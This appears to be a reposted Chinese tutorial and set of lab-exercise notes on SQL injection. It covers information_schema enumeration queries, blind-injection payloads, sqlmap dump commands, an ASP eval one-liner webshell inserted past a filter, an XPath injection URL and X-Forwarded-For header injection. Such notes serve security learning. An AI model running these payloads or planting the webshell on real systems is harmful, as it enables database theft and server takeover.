sql注入

Posted 爪爪

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了sql注入相关的知识,希望对你有一定的参考价值。

SQL基础:

注入点的判断

首先判断该注入点是怎么闭合的,常用的是\',\'),\')),",再利用and 1=2,and 1=1判断闭合是否正确

sql注入常用语句:

普通语句:schema_name——数据库名;table_name——表名;column_name——字段名;

查询数据库:select schema_name from information_schema.schemata--+

查询数据库表:select table_name from information_schema.tables where table_schema=\'数据库名\'--+

查询字段名:select column_name from infromation_columns where table_name=\'表名\'--+

查询字段内容:select * from 表名--+

盲注:

先介绍几个常用的函数:

left(a,b)-----查询a中数据,返回b个字符

substr(s,n,len)------从字符串s中返回一个长度同len字符相同的字符串,起始于位置n,另外要注意的是,该函数起始位置是1,不是0

CAST函数:语法规则是:Cast(字段名 as 转换的类型 ),进行数据类型转换

limit a,b--------a决定返回第几行的数据,而b决定返回几行数据

ORD() 函数:ORD() 函数返回字符串第一个字符的

mysql IFNULL函数是MySQL控制流函数之一,它接受两个参数,如果不是NULL,则返回第一个参数。 否则,IFNULL函数返回第二个参数。

ascii----返回asciii值

Regexp:是一个正则表达式

接下来就是盲注常用的语句了:

查看数据库名字长度:id=1\' and length(database())=8 %23

猜解数据库名字:id=1\' and left(database(),1)>\'r\' %23

不断地将1增加,猜出其余的字符,这里的大于号可以换成等于号(假如你能猜到数据库的名字大致是哪几个,可以直接换成=)

猜解数据库表:id=1\' and ascii(substr((select table_name from information_schema.tables where table_schema=\'security\' limit 0,1),1,1))>80 %23     不断地将1增加,猜出其余的字符

猜解列名:id=1\' and 1=(select 1 from information_schema.columns where table_name=\'emails\' and column_name regexp \'^email_id\' limit 0,1)--+  可将红色部分替换[a-z],确定列名

猜解字段中的内容:id=1\' and ord(mid((select ifnull(cast(username as char),0x20)from security.users order by id limit 0,1),1,1))=68 --+

sql注入工具——sqlmap

经常使用的语句:

sqlmap.py -u "http://127.0.0.1/upload.php?id=1" --current-db                                                                                      #获取当前数据库名称

sqlmap.py -u "http://127.0.0.1/upload.php?id=1" --tables -D "db_name"                                                                     #列表名

sqlmap.py -u "http://127.0.0.1/upload.php?id=1" --columns -T "tablename" users-D "db_name" -v 0                        #列字段

sqlmap.py -u "http://127.0.0.1/upload.php?id=1" --dump -C "column_name" -T "table_name" -D "db_name" -v 0    #获取字段内容

sqlmap.py -u "http://127.0.0.1/upload.php?id=1" --dump -C "column_name" --dump -T "表名"                                 #获取字段内容

下面是我做题的一些过程:

SQL注入实战-MySQL

注入点用base64编码的:用插件tamper 
获取数据表:

获取字段名:


获取字段内容:

WordPress插件漏洞分析溯源

Wpscan:专门扫描wordpress一种扫描器,可以扫描插件漏洞,主题漏洞。
根据这些漏洞找到攻击点:找到一个漏洞时,打开链接,根据链接的内容,对网站进行攻击(主要是通过注入找到后台用户名以及登录密码)

Access防注入系统:
在id=1后面添加sql语句,根据页面返回的结果,进行注入。
id=1 and 1=<%eval request(\'aaa\')%>
发现页面只返回了and1=,将一句话进行编码,然后提交,返回一句话,但是查看sqlin.asp页面时发现被过滤了,被过滤了,网上找了几个放过滤的一句话

经过尝试第三个可以绕过过滤,再次查看sqlin.asp页面,显示成功插入。
接下来链接菜刀,拿到key

Xpath注入:


http://219.153.49.228:49950/demo.php?name=xml\']|//*|//*[\' --+

\']  为闭合前面的节点
|        为分别执行,符号前后的路径都要查询
//*      为匹配所有节点
//*[\'    为匹配后面的内容
 

X-Forwarded-For注入漏洞实战:

正常的注入无法注入

抓包【这里是将sqlmap和burpsuite结合起来注入,将包中的文件保存到本地,然后利用sqlmap:sqlmap.py -r file.txt --dbs进行注入】

手动加上X-Forwarded-For

将包中的数据复制粘贴保存到本地,将sqlmap和burpsuite结合起来使用


利用sqlmap进行注入:
 

 


 
 
 
 
 
 
 

以上是关于sql注入的主要内容,如果未能解决你的问题,请参考以下文章

MyBatis如何防止SQL注入

MyBatis怎么防止SQL注入

mybatis以及预编译如何防止SQL注入

手机只需发条消息即可开始大规模SQL注入攻击

4个单词,谷歌返回16个SQL注入漏洞

基于约束的SQL攻击